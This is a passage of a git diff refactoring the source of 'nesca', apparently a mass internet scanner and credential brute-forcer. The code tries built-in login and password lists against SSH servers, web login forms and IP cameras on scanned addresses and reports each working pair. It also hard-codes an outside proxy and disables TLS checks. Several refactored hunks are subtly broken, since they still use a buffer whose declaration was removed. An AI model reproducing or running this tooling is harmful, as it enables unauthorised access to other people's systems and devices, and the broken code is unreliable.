++passCounter; - - if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR); - else con._EstablishConnection(ip, port, request, &CSTR); - - if(CSTR.lowerBuff != NULL) - { - if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) - { - stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 501 Not Implemented."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "404 not found") != NULL) - { - stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 404 Not Found."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL - && strstri(CSTR.lowerBuff, "Location:") == NULL - && strstri(CSTR.lowerBuff, "Access forbidden") == NULL - && strstri(CSTR.lowerBuff, "Authentication required") == NULL - && strstri(CSTR.lowerBuff, "invalid") == NULL - && strstri(CSTR.lowerBuff, "error") == NULL - && strstri(CSTR.lowerBuff, "loginerr") == NULL - && strstri(CSTR.lowerBuff, "passerr") == NULL - && strstri(CSTR.lowerBuff, "passworderr") == NULL - && strstri(CSTR.lowerBuff, "location.href") == NULL - && strstri(CSTR.lowerBuff, "location.replace") == NULL - && strstri(CSTR.lowerBuff, "top.location") == NULL - && strstri(CSTR.lowerBuff, "error_status") == NULL - && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "busy") == NULL - && strstri(CSTR.lowerBuff, "later") == NULL - && strstri(CSTR.lowerBuff, "verification failed") == NULL - && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL - && strstri(CSTR.lowerBuff, formVal) == NULL - ) - { - if(i == 0) - { - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - char pass[256] = {0}; - - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Web Form password found: "); - strcat(pass, wfLoginLst[i]); - strcat(pass, ":"); - strcat(pass, wfPassLst[j]); - isActive = 0; - - stt->doEmition_BAGreenData("[+] " + QString(pass)); - - strcpy(lps.login, wfLoginLst[i]); - strcpy(lps.pass, wfPassLst[j]); - return lps; - }; - } - else - { - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(i == 0) ++i; - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - }; - firstCycle = 1; - }; - } - else - { - stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Unknown method."); - }; - - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; -} - -lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - - ++WF; - - BConInc(); - lopaStr res = _WFBrut(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); - BConDec(); - - return res; -} - -#pragma region SSH -int _sshConnect(char *user, char *pass, char *host, int port) -{ - char hostStr[128] = {0}; - ZeroMemory(hostStr, sizeof(hostStr)); - strcpy(hostStr, user); - strcat(hostStr, "@"); - strcat(hostStr, host); - - ssh_session my_ssh_session = ssh_new(); - if (my_ssh_session == NULL) - { - ssh_free(my_ssh_session); - return -1; - }; - - ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); - ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); - int sshTimeout = gTimeOut + 1; - ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); - - int rc = ssh_connect(my_ssh_session); - - if (rc != SSH_OK) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++offlines; - return -2; - } - else - { - rc = ssh_userauth_password(my_ssh_session, NULL, pass); - if (rc != SSH_AUTH_SUCCESS) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - return -1; - }; - }; - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++ssh; - return 0; -} - -char *_get_ssh_banner(char *ip, int port) -{ - Connector con; - conSTR CSTR; - char recvBuff[256] = {0}; - con._EstablishConnection(ip, port, "", &CSTR); - if(CSTR.lowerBuff != NULL && CSTR.size != 0) - { - strncpy(recvBuff, CSTR.lowerBuff, CSTR.size < 256 ? CSTR.size : 256); - }; - if(CSTR.lowerBuff != NULL) - { - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; - return recvBuff; -} - -int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, std::string *buffer, char *banner) -{ - int res = -1; - if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); - res = _sshConnect(user, pass, host, port); - if(res == 0) - { - stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); - buffer->append(userPass); - buffer->append("@"); - buffer->append(host); - buffer->append("|+|"); - buffer->append(banner); - return 0; - }; - return res; -} - -int _EstablishSSHConnection(char *host, int port, std::string *buffer, char *banner) -{ - char login[32] = {0}; - char pass[32] = {0}; - char temp[64] = {0}; - isActive = 1; - BConInc(); - int sz = 0; - char *ptr1 = 0; - int res = -1; - for(int i = 0; i < MaxSSHPass; ++i) - { - if(globalScanFlag == false) break; - strcpy(temp, sshlpLst[i]); - ptr1 = strstr(temp, ":"); - sz = ptr1 - temp; - strncpy(login, temp, sz); - strcpy(pass, ptr1 + 1); - res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); - ZeroMemory(login, sizeof(login)); - ZeroMemory(pass, sizeof(pass)); - ZeroMemory(temp, sizeof(temp)); - if(res == 0) - { - if(i == 0) return -2; //Failhit - BConDec(); - isActive = 0; - return 0; - } - else if(res == -2) - { - BConDec(); - isActive = 0; - return -2; - }; - Sleep(500); - }; - BConDec(); - isActive = 0; - return -1; -} - int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) { char recvBuff[256] = {0}; @@ -2563,7 +1740,7 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) return lps; } -lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) +lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); @@ -2661,88 +1838,44 @@ int _pingMyTarget(char *ip) } #endif -QString strIP; -QString strPort; -int Connector::_SSHLobby(char *ip, int port, std::string *buffer) -{ - char banner[256] = {0}; - strncpy(banner, _get_ssh_banner(ip, port), 256); - if(strlen(banner) > 0) - { - return _EstablishSSHConnection(ip, port, buffer, banner); - }; - return -1; -} -static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp) -{ - ((std::string*)userp)->append((char*)contents, size * nmemb); - return size * nmemb; -} -int nConnect(char *ip, int port, std::string *buffer){ - CURL *curl = curl_easy_init(); - if (curl) - { - curl_easy_setopt(curl, CURLOPT_URL, ip); - curl_easy_setopt(curl, CURLOPT_PORT, port); - curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"); - curl_easy_setopt(curl, CURLOPT_HEADER, 1L); - curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L); - curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); - curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); - curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback); - curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer); - curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru"); - curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128); - curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); - curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut); - curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut); - curl_easy_perform(curl); - curl_easy_cleanup(curl); - } else { - stt->doEmitionRedFoundData("Curl error."); - return -1; - }; - return buffer->size(); -} +//int Connector::_ConnectToPort(char *ip, int port, char *hl) +//{ +// if(gPingNScan) +// { +// if(_pingMyTarget(ip) == 0) +// { +// return -2; +// }; +// }; -int Connector::_ConnectToPort(char *ip, int port, char *hl) -{ - if(gPingNScan) - { - if(_pingMyTarget(ip) == 0) - { - return -2; - }; - }; +// std::string buffer; +// int size = 0; - std::string buffer = ""; - int size = 0; +// if(port == 22) size = _SSHLobby(ip, port, &buffer); +// else size = Connector::nConnect(ip, port, &buffer); - if(port == 22) size = _SSHLobby(ip, port, &buffer); - else size = nConnect(ip, port, &buffer); +// if(size > 0) +// { +// ++Alive; +// ++found; +// stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - if(size > 0) - { - ++Alive; - ++found; - stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); +// conSTR CSTR; +// CSTR.lowerBuff = new char[size + 1]; +// CSTR.size = size; +// memcpy(CSTR.lowerBuff, buffer.c_str(), size); +// memset(CSTR.lowerBuff + size, '\0', 1); - conSTR CSTR; - CSTR.lowerBuff = new char[size + 1]; - CSTR.size = size; - memcpy(CSTR.lowerBuff, buffer.c_str(), size); - memset(CSTR.lowerBuff + size, '\0', 1); +// Lexems lx; +// lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl); - Lexems lx; - lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl); +// delete []CSTR.lowerBuff; +// CSTR.lowerBuff = NULL; +// }; - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; - - return 0; -} +// return 0; +//} diff --git a/externData.h b/externData.h index 0d235fe..5bd11a2 100644 --- a/externData.h +++ b/externData.h @@ -1,3 +1,7 @@ +#ifndef EXTERNDATA_H +#define EXTERNDATA_H + +#include <qjsonarray.h> #define RECV_MAX_SIZE 350000 #define REQUEST_MAX_SIZE 4096 #define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21" @@ -25,7 +29,9 @@ extern int found, indexIP, gMode, GlobalNegativeSize, isActive, gMaxBrutingThreads, gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH, gThreadDelay, AnomC1, Filt, Overl, Lowl, Alive, saved, - Susp, WF, offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; + Susp, +WF, +offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[32], ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32], trcPort[32], trcSrvPortLine[32], saveStartIP[128], saveEndIP[128], @@ -36,3 +42,5 @@ struct pl{ int loginCounter; int passCounter; }; + +#endif // EXTERNDATA diff --git a/externFunctions.h b/externFunctions.h index d3cea88..d0bb5ba 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -15,4 +15,4 @@ extern void nCleanup(); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); -extern int nConnect(char *ip, int port, std::string *buffer); +//extern int nConnect(char *ip, int port, std::string *buffer); diff --git a/finder.cpp b/finder.cpp index 9ac7018..6e510e5 100644 --- a/finder.cpp +++ b/finder.cpp @@ -3,6 +3,8 @@ #include "mainResources.h" #include "externFunctions.h" #include "externData.h" +#include "WebformWorker.h" +#include "Connector.h" char* strstri(const char *_Str, const char *_SubStr) { @@ -1279,9 +1281,9 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path if(inputVec.size() > 0) { if(strlen(userVal) != 0 && strlen(passVal) != 0) - { - Connector con; - lopaStr lps = con._WFLobby(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); + { + WFClass WFC; + lopaStr lps = WFC._WFBrute(ip, port, methodVal, actionVal, userVal, passVal, formVal); if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { @@ -1309,8 +1311,8 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, ZeroMemory(lps.other, sizeof(lps.other)); char tport[32] = {0}; sprintf(tport, ":%d", port); - Connector con; - lps = con._IPCameraBLobby(ip, port, SPEC); + + lps = _IPCameraBLobby(ip, port, SPEC); if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { @@ -1330,10 +1332,9 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int char temp[64] = {0}; char tport[32] = {0}; sprintf(tport, ":%d", port); - Connector con; - if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(cookie, ip, port, path, "[DIGEST]", data); - else lps = con._BALobby(cookie, ip, port, path, "[NORMAL]", ""); + if(strcmp(comment, "[DIGEST]") == 0) lps = _BALobby(cookie, ip, port, path, "[DIGEST]", data); + else lps = _BALobby(cookie, ip, port, path, "[NORMAL]", ""); if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { @@ -1525,10 +1526,9 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * { if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1; if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL) - { - Connector con; + { std::string sshBuff; - int res = con._SSHLobby(ip, p, &sshBuff); + int res = Connector::_SSHLobby(ip, p, &sshBuff); if(res != -1 && res != -2) { _saveSSH(ip, p, recd, (char*)sshBuff.c_str()); @@ -1598,8 +1598,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; if(flag == 16) - { - Connector con; + { isActive = 1; char log[2048] = {0}; @@ -1614,7 +1613,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * // strcat(log, "; Received: "); // strncat(log, std::to_string(recd).c_str(), 100); - lps = con._FTPLobby(ip, p, &ps); + lps = _FTPLobby(ip, p, &ps); if(strstr(lps.other, "ROUTER") != NULL) { @@ -1879,12 +1878,11 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * else if(flag == 15) //For HFS { char temp[64] = {0}; - char log[512] = {0}; - Connector con; + char log[512] = {0}; isActive = 1; ++AnomC1; - lps = con._BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); + lps = _BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>", hl, ip, port, ip, port, finalstr, lps.login, lps.pass); @@ -1948,7 +1946,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return 0; }; - Connector con; char tempIP[MAX_ADDR_LEN] = {0}; strcpy(tempIP, ip); int tempPort = port; @@ -2023,13 +2020,12 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; strcat(mes, rbuff4); - conSTR cstr; - cstr.size = 0; - cstr.lowerBuff = NULL; - if(con._EstablishSSLConnection(tempIP, tempPort, mes, &cstr) > -1) + std::string buffer; + int cSz = Connector::nConnect(tempIP, tempPort, buffer); + if(cSz > -1) { - strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); - strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535)); + strcpy(ps->codepage, GetCodePage(buff)); ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); ps->flag = ls->flag; @@ -2038,22 +2034,19 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, tempPath); - delete []cstr.lowerBuff; + strcpy(ps->path, tempPath); return -1; }; if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) { - strcat(ps->headr, GetTitle(cstr.lowerBuff)); + strcat(ps->headr, GetTitle(buff)); ps->flag = ls->flag; strcpy(ps->path, tempPath); ps->port = tempPort; strcpy(ps->ip, tempIP); - delete []cstr.lowerBuff; - return -2; }; if(ls->flag == 6) @@ -2062,20 +2055,20 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->port = tempPort; return -2; }; + strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(cstr.lowerBuff)); - if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1) + strcat(ps->headr, GetTitle(buff)); + if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1) { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, tempPath); - delete[]cstr.lowerBuff; + strcpy(ps->path, tempPath); return -1; }; ps->port = tempPort; - if(strlen(cstr.lowerBuff) < 1) + if(strlen(buff) < 1) { ps->flag = 3; ls->flag = 3; @@ -2084,9 +2077,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { ls->flag = 0; ps->flag = 0; - }; - - delete []cstr.lowerBuff; + }; } else { @@ -2165,12 +2156,11 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; strcat(mes, rbuff4); - conSTR cstr; - cstr.size = 0; - cstr.lowerBuff = NULL; - if(con._EstablishConnection(tempIP, tempPort, mes, &cstr) > -1) + std::string buffer; + int cSz = Connector::nConnect(tempIP, tempPort, buffer); + if(cSz > -1) { - strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); + strncpy(buff, cstr.lowerBuff, (cSz< 65535 ? cSz : 65535)); strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); @@ -2180,8 +2170,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, tempPath); - delete []cstr.lowerBuff; + strcpy(ps->path, tempPath); return -1; }; @@ -2190,8 +2179,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { strcat(ps->headr, GetTitle(cstr.lowerBuff)); ps->flag = ls->flag; - strcpy(ps->path, tempPath); - delete []cstr.lowerBuff; + strcpy(ps->path, tempPath); ps->port = tempPort; strcpy(ps->ip, tempIP); @@ -2209,14 +2197,13 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, tempPath); - delete[]cstr.lowerBuff; + strcpy(ps->path, tempPath); return -1; }; ps->port = tempPort; - if(strlen(cstr.lowerBuff) < 1) + if(strlen(buff) < 1) { ps->flag = 3; ls->flag = 3; @@ -2226,8 +2213,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ls->flag = 0; ps->flag = 0; }; - - delete []cstr.lowerBuff; } else { diff --git a/mainResources.h b/mainResources.h index 36f63f2..ce13e7f 100644 --- a/mainResources.h +++ b/mainResources.h @@ -13,6 +13,7 @@ #else #include <string> #include <iostream> +#include <vector> #include <stdio.h> #include <stdlib.h> #include <unistd.h> @@ -99,8 +100,8 @@ struct PathStr{ }; struct lopaStr{ - char login[128]; - char pass[32]; + char login[128]; + char pass[32]; char other[128]; }; @@ -126,13 +127,19 @@ class Lexems iterationCount = 0; } - int _header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *lst, char *rBuff); + int _header(char *ip, + int port, + char str[], + Lexems *l, + PathStr *ps, + std::vector<std::string> *lst, + char *rBuff); int _filler(int p, char *buffcpy, char* ipi, int recd, Lexems *lx, char *hl); int globalSearchNeg(const char *buffcpy, char *ip, int port); }; -class Connector +class Connector_old { public: int _Updater(); @@ -143,9 +150,13 @@ class Connector lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); int _SSHLobby(char *ip, int port, std::string *buffer); - int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0); - int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr); - void _Connect(void *s); + //int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0); + //int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr); + void _Connect(void *s); int _ConnectToPort(char *ip, int port, char *hl); }; + +extern lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); +extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL); +extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps); diff --git a/msgcheckerthread.cpp b/msgcheckerthread.cpp index a9eb26b..eb4c9da 100644 --- a/msgcheckerthread.cpp +++ b/msgcheckerthread.cpp @@ -1,6 +1,8 @@ #include "msgcheckerthread.h" #include "externData.h" #include "mainResources.h" +#include <Utils.h> +#include <Connector.h> void MSGCheckerThread::doEmitionShowNewMsg(QString str) { @@ -9,31 +11,31 @@ void MSGCheckerThread::doEmitionShowNewMsg(QString str) void _getNewMsg() { - Connector con; - conSTR CSTR; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - char request[256] = {0}; - strcpy(request, "GET /mailbox?key="); - strncat(request, trcPersKey, 32); - strcat(request, " HTTP/1.1\r\nHost: nesca.d3w.org\r\nX-Nescav3: True\r\n\r\n"); - con._EstablishConnection("nesca.d3w.org", 80, request, &CSTR, 1); + char request[256] = {0}; + sprintf(request, "http://nesca.d3w.org/mailbox?key=%s", trcPersKey); - char *ptr1 = NULL; - if(CSTR.lowerBuff != NULL) + std::string buffer; + std::vector<std::string> headerVector {"X-Nescav3: True"}; + Connector::nConnect(request, 80, &buffer, NULL, &headerVector); + + char *ptr1 = NULL; + if(buffer.size() > 0) { - if(strstr(CSTR.lowerBuff, "\r\n\r\n") != NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 404 Not Found") == NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 502 Bad Gateway") == NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 400 Bad Request") == NULL && strstr(CSTR.lowerBuff, "\r\n\r\nEmpty") == NULL) - { - ptr1 = strstr(CSTR.lowerBuff, "\r\n\r\n"); - if(strlen(ptr1 + 4) != 0) - { - mct->doEmitionShowNewMsg(QString(ptr1 + 4)); - }; - }; - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; + if(Utils::ci_find_substr(buffer, std::string("\r\n\r\n")) != -1 + && Utils::ci_find_substr(buffer, std::string("HTTP/1.1 404 Not Found")) == -1 + && Utils::ci_find_substr(buffer, std::string("HTTP/1.1 502 Bad Gateway")) == -1 + && Utils::ci_find_substr(buffer, std::string("HTTP/1.1 400 Bad Request")) == -1 + && Utils::ci_find_substr(buffer, std::string("\r\n\r\nEmpty")) == -1 + ) + { + ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n"); + if(strlen(ptr1 + 4) != 0) + { + mct->doEmitionShowNewMsg(QString(ptr1 + 4)); + }; + } }; -}; +} void MSGCheckerThread::run() { @@ -42,4 +44,4 @@ void MSGCheckerThread::run() Sleep(60000); _getNewMsg(); }; -}; +} diff --git a/nesca.pro b/nesca.pro index 60eff02..fa5a8ed 100644 --- a/nesca.pro +++ b/nesca.pro @@ -19,7 +19,6 @@ SOURCES +=\ base64.cpp \ CheckKey_Th.cpp \ CheckProxy_Th.cpp \ - connector.cpp \ DrawerTh_GridQoSScanner.cpp \ DrawerTh_HorNet.cpp \ DrawerTh_ME2Scanner.cpp \ @@ -35,7 +34,11 @@ SOURCES +=\ progressbardrawer.cpp \ STh.cpp \ vercheckerthread.cpp \ - finder.cpp + finder.cpp \ + Utils.cpp \ + WebformWorker.cpp \ + Connector.cpp \ + connector_old.cpp HEADERS += ActivityDrawerTh_HorNet.h \ @@ -59,7 +62,10 @@ HEADERS += ActivityDrawerTh_HorNet.h \ progressbardrawer.h \ resource.h \ STh.h \ - vercheckerthread.h + vercheckerthread.h \ + Utils.h \ + WebformWorker.h \ + Connector.h FORMS += nesca_3.ui diff --git a/nesca_3.cpp b/nesca_3.cpp index ad6d9de..a261655 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -3413,63 +3413,6 @@ static size_t WriteCallback(void *contents, size_t size, size_t nmemb, void *use _startVerCheck(); _startMsgCheck(); - -// curl = curl_easy_init(); -// if(curl) { -// curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com"); -// curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback); -// curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); -// res = curl_easy_perform(curl); -// curl_easy_cleanup(curl); - -// std::cout << readBuffer << std::endl; -// } - -// CURLcode res; -// std::string readBuffer; -// CURL *curl = curl_easy_init(); - -// if (curl) -// { -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com"))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru"))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut))); -// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut))); - -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L))); -// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com"))); -// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut))); -// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_NOBODY, true))); -// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru"))); -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128))); -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_NTLM))); -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_VERBOSE, true))); -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback))); -// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer))); - -// res = curl_easy_perform(curl); -// curl_easy_cleanup(curl); -// }; - -// stt->doEmitionFoundData(QString(readBuffer.c_str())); - //float step = 0; - //QPen iprvPenRegular(QColor(51, 51, 51, 100)); - //QPen iprvPen(QColor(51, 51, 51, 100)); - //while(step < 480) - //{ - // jobRangeVisualScene->addLine(step, 0, step, 41, iprvPenRegular); - // step += 30; - //}; - //QPen iprvPenComplete(QColor(51, 51, 51, 100)); - //while(step < 480) - //{ - // jobRangeVisualScene->addLine(step, 0, step, 41, iprvPen); - // step += 30; - //}; } void nesca_3::playFcknSound() diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 8a1eefb..e66936f 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -3,6 +3,7 @@ #include "mainResources.h" #include "externData.h" #include "externFunctions.h" +#include "Connector.h" typedef struct { char argv[MAX_ADDR_LEN]; @@ -878,7 +879,7 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) // return res; //} -Connector con; +//Connector con; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) void _connect(void* ss) #else @@ -895,7 +896,7 @@ void *_connect(void* ss) for(int i = 0; i <= overallPorts; 